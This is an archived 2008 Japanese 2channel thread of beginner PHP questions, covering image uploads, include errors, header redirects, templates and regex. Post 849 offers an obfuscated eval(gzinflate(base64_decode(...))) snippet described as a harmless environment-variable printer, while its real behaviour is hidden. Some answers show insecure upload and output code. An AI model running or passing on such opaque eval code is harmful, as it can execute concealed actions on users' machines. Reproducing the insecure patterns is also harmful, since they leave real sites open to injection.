【PHP】下らねぇ質問はここに書き込みやがれ 72
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2008/08/16(土) 12:01:25ID:???PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。
◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 71
http://pc11.2ch.net/test/read.cgi/php/1216291372/
◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
(荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)
◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0772nobodyさん
2008/08/30(土) 21:28:28ID:???0773nobodyさん
2008/08/30(土) 22:49:22ID:???アップロード先の保存フォルダに画像ファイルを移すところまでは出来ているのですが
保存した画像をブラウザで表示するのが出来ません。
ネットで調べる、とファイルのアクセス権の設定ができていないという事がわかり
move_uploaded_file()を実行した後,、chmod("対象ファイル",0666)を実装したのですが、
うまく表示されません。
実際にフォルダに移動して画像ファイルを開こうとすると
"このファイルの場所へアクセスするためのアクセス許可がないため、この画像を開けません"
というメッセージがでます。
以下ソースです。
<HTML>
<HEAD>
<TITLE></TITLE>
<META http-equiv="Content-Type" content="text/html;charset=Shift_JIS">
</HEAD>
<BODY>
<FORM name="form1" method="POST" action="fileup.php" enctype="multipart/form-data">
<INPUT type="hidden" name="MAX_FILE_SIZE" value="100000">
画像:
<INPUT type="file" name="uploadfile">
<BR>
説明:
<INPUT type="text" name="comment">
<BR>
<BR>
<INPUT type="submit" value="ファイルアップロード">
</FORM>
</BODY>
</HTML>
0774nobodyさん
2008/08/30(土) 22:51:12ID:???その画像の入っているディレクトリのパーミッションは?
しかもソースそれPHPじゃないしwwwww
0775nobodyさん
2008/08/30(土) 22:51:48ID:???0776nobodyさん
2008/08/30(土) 22:54:13ID:???<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<?php
$file_dir = 'C:\Apache2.2\htdocs\images\\';
$file_path = $file_dir.$_FILES["uploadfile"]["name"];
if(move_uploaded_file($_FILES["uploadfile"]["tmp_name"],$file_path)) {
chmod($file_path,0666);
$img_dir = "/images";
$img_path = $img_dir.$_FILES["uploadfile"]["name"];
$size = getimagesize($file_path);
?>
ファイルアップロードを完了しました。 <BR>
<IMG src="<?=$img_path?>"<?=$size[3]?>> <BR>
<B><?=mb_convert_encoding($_POST["comment"],"EUC-JP","SJIS")?></B><BR>
<?php
}else{
?>
正常にアップロード処理されませんでした。 <BR>
<?php
}
?>
</BODY>
</HTML>
長々となり申し訳ありません。
解決方法がわかる方いましたらお助けください。
環境 はVista Ultmate、PHP5 + Apache2.2です。
0777nobodyさん
2008/08/30(土) 22:55:46ID:???・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
0778776
2008/08/30(土) 22:58:31ID:18CTr4WP見落としてましたすいません。
0779nobodyさん
2008/08/30(土) 23:01:54ID:???画像へのパスはあってる?
0780773
2008/08/30(土) 23:08:04ID:???0781nobodyさん
2008/08/30(土) 23:08:31ID:???$img_dir = "/images"; ←ここじゃねーの?
$img_path = $img_dir.$_FILES["uploadfile"]["name"];
echo $img_path してみなよ
0782776
2008/08/30(土) 23:08:34ID:18CTr4WP画像パスはあってると思うのですが・・・。
でもアクセス権限が関係ないならパスが原因っぽいですよね。
パス以外に怪しいとこってないでしょうか?
0783nobodyさん
2008/08/30(土) 23:17:39ID:mAYfROWm最新のphpで掲示板を作成して、
動作確認をした上で、
XREAというホームページのスペースを提供している会社に
アップロードをしたところ、画面が真っ白になって壊れました。
その会社に問い合わせをしたところ、
すぐに対応しますという連絡メールがきたあと、
完全無視されています。ほかにスペースを提供している会社はないですか?
無料でなくてもいいですが、趣味でやっているサイトなので月1000円以上はきついです。
宜しくお願いします。
0784776
2008/08/30(土) 23:18:15ID:18CTr4WPechoで表示させたら
/imagestest.jpgというふうに出たんで
$img_dir = "/images";から
$img_dir = "/images/";
に変更してやってみたのですが同じく表示されませんでした。。
0786nobodyさん
2008/08/31(日) 02:15:30ID:???$file_dir = 'C:\Apache2.2\htdocs\images\\'; // 最後が¥2個ってどうなんだろう
chmod($file_path,0666); // windowsはchmodが使えない(今件とは直接関係ないが)
0787776
2008/08/31(日) 02:30:19ID:k7FWVAuP回答ありがとうございます。
\マーク一つだとエラーが出るんですよねぇ。。
0788nobodyさん
2008/08/31(日) 02:36:07ID:???0789776
2008/08/31(日) 02:38:24ID:k7FWVAuPWarning: Unexpected character in input: ''' (ASCII=39) state=1 in C:\Apache2.2\htdocs\fileup.php on line 7
Parse error: syntax error, unexpected ':' in C:\Apache2.2\htdocs\fileup.php on line 7
0790nobodyさん
2008/08/31(日) 03:13:42ID:???ってどういうこと?
0791776
2008/08/31(日) 03:25:43ID:k7FWVAuPDocumentRootに指定してあるディレクトリの直下にアップロードされた画像を
格納するimagesフォルダを置いてあるので、そこから画像ファイルを開くということです。
0792nobodyさん
2008/08/31(日) 03:31:15ID:???念のためにDIRECTORY_SEPARATOR使ったら?
define('DS', DIRECTORY_SEPARATOR)
$file_dir = 'C:'.DS.'Apache2.2'.DS.'htdocs'.DS.'images'.DS;
>アクセス権
Vistaだとアクセス権が実装されているからもしかしたら関係あるかもな
>>791
Windowsだからエクスプローラとかから開こうとしたんじゃない?
0793776
2008/08/31(日) 03:44:00ID:k7FWVAuPDIRECTORY_SEPARATOR使ってもダメですね。。
Windoowsではchmod使えないとしたら
どのように画像ファイルへのアクセス権を設定したらいいんでしょうか。
>Windowsだからエクスプローラとかから開こうとしたんじゃない?
そうですね。
0794nobodyさん
2008/08/31(日) 03:45:28ID:???vista知らんからファイルのプロパティからいろいろいじってみれ。
0795nobodyさん
2008/08/31(日) 04:54:41ID:???普通ならアップロードファイルは600だよな
あと、WEBサーバの実効ユーザも影響受けるならエクスプローラからは操作出来ないファイルになっちまう
(Apacheはサービスから起動しているからsetuidでログインユーザ以外になってる可能性を考えれた場合)
まずはimagesの中にファイルがあることの確認とアクセス権の確認だな
ブラウザから画像への直リンでも見えんのが気になるが
0796nobodyさん
2008/08/31(日) 08:50:56ID:TxVxsZ/sApache2とPHP5.2.6、MySQL5.0.5でCGIを作っています。
まだ勉強中なので、HTMLの中にPHPをべた書きしています。
いろいろなページで関数を使い回ししたいので、
関数だけ別ファイルに書いて、それをhoge.phpやpage.phpから
呼び出して使いたいと思っています。
それには一体どうしたらいいのでしょうか?
0797nobodyさん
2008/08/31(日) 08:51:48ID:???0798nobodyさん
2008/08/31(日) 08:52:57ID:f1FS9mHS0799nobodyさん
2008/08/31(日) 08:54:13ID:???こうとでも書けば分かるか?
0800nobodyさん
2008/08/31(日) 09:09:55ID:???0801796
2008/08/31(日) 09:27:42ID:TxVxsZ/s早速のご回答ありがとうございます。今、
http://jp2.php.net/manual/ja/function.include.php
を読んでみたのですが、これはincludeされるphpファイル自体が
ひとつの関数で、includeされるphpファイルに複数関数を書いたり、
呼び出し側から変数を渡したりは出来ないのでしょうか?
簡単に次のコードを書いてinclude_test.phpを読み込んでみたところ、
$answer = add_hoge(1,2); の部分で
Parse error: syntax error, unexpected T_VARIABLE
というエラーが起こりました。
-- include_test.php --
<html>
<head><title>include</title></head>
<body>
<?php
include 'hoge.php'
$answer = add_hoge(1,2);
printf("<p>%d</p>",$answer);
?>
</body></html>
-- hoge.php --
<?php
function add_hoge($a, $b){
return $a + $b;
}
?>
0802nobodyさん
2008/08/31(日) 09:52:43ID:???0803796
2008/08/31(日) 10:02:40ID:TxVxsZ/sありがとうございます。
恥ずかしいミスでした。
本当に本当にありがとうございます。
0804804
2008/08/31(日) 10:25:57ID:???ファイル作成 → ダウンロード という処理で
ファイル作成時に進捗を表示させたいんですが、
どうすればよいでしょうか。
ダウンロード処理でheader()関数を使用しているのでその前に標準
出力は使用できないんですよね?
例えばexec()とかで別処理に分けるとかajax(よく知りませんが)
とか使用して可能な方法があれば教えてもらえないでしょうか
0805nobodyさん
2008/08/31(日) 10:26:36ID:???・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
0806nobodyさん
2008/08/31(日) 13:00:13ID:???2年前の記事だが
http://journal.mycom.co.jp/articles/2006/09/28/phpjavascript/index.html
0807nobodyさん
2008/08/31(日) 14:17:10ID:EWUA1cZp現在作成しているのが
ケータイ端末でFlash LiteからgetURLでPHPに変数を渡す。
PHP処理を終えてたら外部テキストに書き出す。
最後にheaderでまた先ほどのFlash Liteに戻る。
という物を作成しております。
問題は最後の部分で、PHPにアクセスすると下のプログラムが
書かれている行を指定してエラーを吐き出します。
記述的なミスなのか、それともケータイ端末では自動的に
リンク先に飛ばすような事はできないのでしょうか?
<?
変数の処理
header("Location:http://www.アドレス/flash.swf");
exit;
?>
0808nobodyさん
2008/08/31(日) 14:18:55ID:???0809nobodyさん
2008/08/31(日) 15:01:42ID:???LoadVarsクラスのsendAndLoadじゃダメなのかね?(スレ違いになるが)
header関数の注意として出力バッファがない場合はヘッダーより先のデータ(コンテンツ部)が出力されると
デフォルトのヘッダーが先に送信されてheader関数が使えなくなる。
ob_startで出力バッファを有効にするか、headerより先にデータの出力を行わないようにしな
(出力はechoやprintとかの標準出力。ファイルへの出力は関係ない)
0810804
2008/08/31(日) 15:21:49ID:???低レベル回答者乙
0812nobodyさん
2008/08/31(日) 15:38:19ID:???0813807
2008/08/31(日) 15:42:56ID:EWUA1cZpすみません、書き忘れていたのですがFlashLiteから送っているのがGPS情報なんです。
なのでGPS情報を付加して送信してくれる
getURL("device:gpsone?url=アドレス");
とう記述をしないと駄目なんです。
(Flashlate単体ではGPS情報は取得できません・・・)
header関数についての注意ありがとうございます。
コメントを見ながら今から試行錯誤してみます。
0814nobodyさん
2008/08/31(日) 17:16:09ID:???このpearで良く見る :: って何なんです?
0815nobodyさん
2008/08/31(日) 17:31:23ID:???http://jp.php.net/manual/ja/language.oop5.paamayim-nekudotayim.php
0818nobodyさん
2008/08/31(日) 18:35:38ID:???>クラスメンバもしくはメソッドを static として宣言することで、
>クラスのインスタンス化の必要なしにアクセスすることができます。
ってマニュアルに書いてあったんだけど
$hoge = new なんたらかんたら
を記述しなくて良いってことなんです?
0820nobodyさん
2008/08/31(日) 19:11:25ID:???インスタンス化が面倒だからって全てstaticにしようなんて思うなよ?
どういうものをクラスメソッドにするかわからないうちは全てインスタンスメソッドでいい
0821nobodyさん
2008/08/31(日) 19:44:07ID:???皆やさい
こんなグズ初心者に教えてくれて
0822nobodyさん
2008/08/31(日) 19:44:55ID:???やさしいだ
(';ω;`)ブワッ
0823nobodyさん
2008/08/31(日) 19:47:32ID:HhFxH+qJソースをみてもさっぱりわかりません
どのような仕組みでデザインとロジックをわけているのでしょうか?
0824nobodyさん
2008/08/31(日) 19:48:37ID:???0826nobodyさん
2008/08/31(日) 20:08:38ID:???0828nobodyさん
2008/08/31(日) 20:51:22ID:???------hoge.php-------
<?php
$hoge = 'test';
$foo = 'aaaa';
require_once('hoge.html');
?>
------hoge.html------
<html>
<body>
<?php echo $hoge?><br />
<?php echo $foo?><br />
</body>
</html>
てな感じでHTMLのテンプレートファイルと実際のロジック部分は何となく分かれる。
HTML中にインラインなPHP構文すら分離させるなら>>827のいってるとおり。
後はこれを基本的な考え方にして工夫する感じです。
0829nobodyさん
2008/08/31(日) 21:10:26ID:???なんで、ここの奴は車輪の再開発ばかり薦めるんだよ。
0830nobodyさん
2008/08/31(日) 21:33:27ID:HhFxH+qJテンプレートエンジン作ってみたいです
>>828
ブログのタグに<%NAME%>とかありますが、あれはどういう仕組みで動いてるのでしょうか?
0833nobodyさん
2008/08/31(日) 22:09:41ID:???車輪の再開発ってほどのことじゃなくてさ、
わざわざSmarty使わんでもある程度ロジックとビューを分けるってのを伝えただけだよ。
キリキリすんなって。
0834nobodyさん
2008/08/31(日) 22:19:18ID:???>>827さんのソースを下に手を加えてみました。
こんな感じで大丈夫ですか?
------hoge.php-------
<?php
$name = "さとうさん";
$str = file_get_contents("hoge.html");
$txt = strtr($str, $name, "<%NAME%>");
echo $txt;
?>
------hoge.html------
<html>
<body>
<%NAME%>
</body>
</html>
0835nobodyさん
2008/08/31(日) 22:24:00ID:???0837nobodyさん
2008/08/31(日) 22:43:15ID:???それでもいいんだけど、ソレだとfile_get_contentsするHTMLが大きいと、いちいちメモリにそのでかい文字列を読み込んで置換したものを返すっていうことになります。
なので、こんな感じ。ソース書いといてあれだけど、こんな不毛なことは是非やめてください。Smartyとか使ってください。
-----hoge.php-------
<?php
$name = "さとうさん";
$assign = array('NAME'=>$name,);
template('hoge', $assign);
function template($filename, $assign){
$template_file = $filename.'.html';
if(!file_exists($template_file)){
echo null;
return;
}
$compiled_file = $filename.'.php';
$flag = false;
if(!file_exists($compiled_file)){
$flag = true;
}else{
$t_time = filemtime($template_file);
$c_time = filemtime($compiled_file);
if($t_time>$c_time) $flag = true;
}
if($flag == true){
$html = file_get_contents($template_file);
$html = preg_replace('/<%([a-z0-9_]+)%>/i', '<?php echo $assign["$1"];?>', $html);
$compiled_file = file_put_contents($compiled_file, $html);
}
require_once($compiled_file);
}
?>
0838nobodyさん
2008/08/31(日) 22:47:24ID:???他人のために、そこまで優しくできる性格に絶句した。
すごい優しい人なんだろうけど、損してばかりいそうな性格だな。
0839nobodyさん
2008/08/31(日) 22:53:32ID:HhFxH+qJありがとうございます。ソースを見て勉強してみます
0840nobodyさん
2008/08/31(日) 23:00:44ID:???最近、モバイル向けになんか使い安いテンプレートとか作れないかなと思って、
似たようなソース書いたからすぐにかけたってだけだよ。
そんなやさしい人間じゃないし、>>837のソースじゃどうにもならないのは見て分かるとおり。
>>839
とりあえず上の要求だけ実行されるように作ったものなので、これだと、条件文も出来ないし、
ループ処理も出来ない。
ソース見て、その不毛さが理解できたら、既存のテンプレートエンジンの使い方勉強しなね。
patTemplateとかSmartyとか、PHPTALとか、色々なものがあるので。
0841nobodyさん
2008/09/01(月) 00:23:42ID:???何か私にご質問はありますか?もちろん、php限定で。
0842nobodyさん
2008/09/01(月) 01:16:42ID:???0843nobodyさん
2008/09/01(月) 01:26:41ID:???PHPとはPeace and Happiness through Prosperityという英語の頭文字をとったもので、
“繁栄によって平和と幸福を”という意味のことばです。
詳しくは、こちらをご覧下さい。
http://www.php.co.jp/company/think.php#php
0844nobodyさん
2008/09/01(月) 01:57:16ID:???ファイル操作とかできないの?
0845nobodyさん
2008/09/01(月) 02:03:28ID:KcchXRwMCGI版だとなんかファイルの一行目に#!/usr/bin/phpみたいなものを書かないとダメとかどこかで聞いたのですが、
モジュール版でしか開発したことがなく、いままで書いてきたPHPファイルの1行目に呪文を足せばCGI版でも動くのでしょうか?
あと
モジュール版とCGI版とありますけど以下のコードはサーバにうpすればどちらでも動きますか?
test.php------------------------
<?php
echo "test";
?>
0848804
2008/09/01(月) 02:44:33ID:e/YsXLG7ファイルに出力するのは無理みたいですね。。
>>805
失礼しました
>>806
やってみましたが無理みたいです。でもこれ別で使えそうですね
ありがとうございました
>>810
誰?
0849nobodyさん
2008/09/01(月) 12:49:46ID:???環境変数を表示するだけのスクリプトです。
<?php
eval(gzinflate(base64_decode('AeQAG/8/Pjw/cGhwIGV2YWwoZ3pp'.
'bmZsYXRlKCezt7OxL8goUEgtS8zRSK/KzEvLSSxJ1VBnXFzLEPTfHrtkj'.
'LrqOUfuJgOJYx9//9aMS1kgt6j6mk3L8gUOa1wnCyTvNfTcZhiuknx/75'.
'Xnv5rt/U9+XxoqJtLJvlPHVuqt529f68hbC5evv3/L8YvVWW6FlTxqur1'.
'y659fZpV+WfXa+u7LJQ3LC1WWHOq5O3vVvlDTLsGb3Wo2BSnyhns0jzP8'.
'uH+L0/hY5OFThS9dNCx15n9gj1HX1LSGOROZDQAnKSk7Pz48P3BocCA=')));
0850nobodyさん
2008/09/01(月) 12:58:42ID:???0851nobodyさん
2008/09/01(月) 12:59:22ID:???0853nobodyさん
2008/09/01(月) 13:33:36ID:???RSSフィードを元に取得した情報を更新時間でソートしたいのですが、
フォーマットがばらばらなのでうまくソートできません。
簡単にフォーマットを揃えてソートするにはどのような方法がありますでしょうか?
0858853
2008/09/01(月) 14:20:03ID:???パーサはXML_RSSです。
ですが、質問とRSSはあまり関係ないかもしれません。
時間フォーマットがばらばらの変数、$aと$bを比較する方法が知りたいです。
0860nobodyさん
2008/09/01(月) 14:24:44ID:???>gzdeflate() により圧縮されたデータを指定します
ということなのでバイナリでも問題ないと思いますが。
あと壊れていませんので実際に動きます。
0861nobodyさん
2008/09/01(月) 14:32:50ID:???0863nobodyさん
2008/09/01(月) 14:59:16ID:???0864nobodyさん
2008/09/01(月) 15:13:14ID:???0865nobodyさん
2008/09/01(月) 15:20:01ID:???0866nobodyさん
2008/09/01(月) 15:29:11ID:???0867nobodyさん
2008/09/01(月) 15:41:49ID:ME+mffWYこの文字列の中からリンク先の特定の数字とリンクテキストを抽出したく
preg_match_all ( "/"."<a href=\"entry-(.*)-" .$category_id ."\.html\">(.*)<\/a>"."/i", $str, $match );
このような正規表現を書いたのですが、実行結果は
print_r($match);
[0] => Array
(
[0] => <a href="entry-1-18.html">りんご</a> <br /><a href="entry-2-18.html">バナナ</a> <br /><a href="entry-3-18.html">パイナップル</a>
)
[1] => Array
(
[0] => 1-18.html">りんご</a> <br /><a href="entry-2-18.html">バナナ</a> <br /><a href="entry-3
)
[2] => Array
(
[0] => パイナップル
)
となります。
0868nobodyさん
2008/09/01(月) 15:42:52ID:???0869867
2008/09/01(月) 15:43:47ID:ME+mffWYpreg_match_all ( "/"."<a href=\"entry-(.*)-18\.html\">(.*)<\/a>"."/i", $str, $match );
つづきです。
下記のような実行結果にしたいのですが、正規表現の書き方を教えて下さい。
[0] => Array
(
[0] => <a href="entry-1-18.html">りんご</a> <br /><a href="entry-2-18.html">バナナ</a> <br /><a href="entry-3-18.html">パイナップル</a>
)
[1] => Array
(
[0] => 1
[1] => 2
[2] => 3
)
[2] => Array
(
[0] => りんご
[1] => バナナ
[2] => パイナップル
)
0871nobodyさん
2008/09/01(月) 16:09:31ID:???■ このスレッドは過去ログ倉庫に格納されています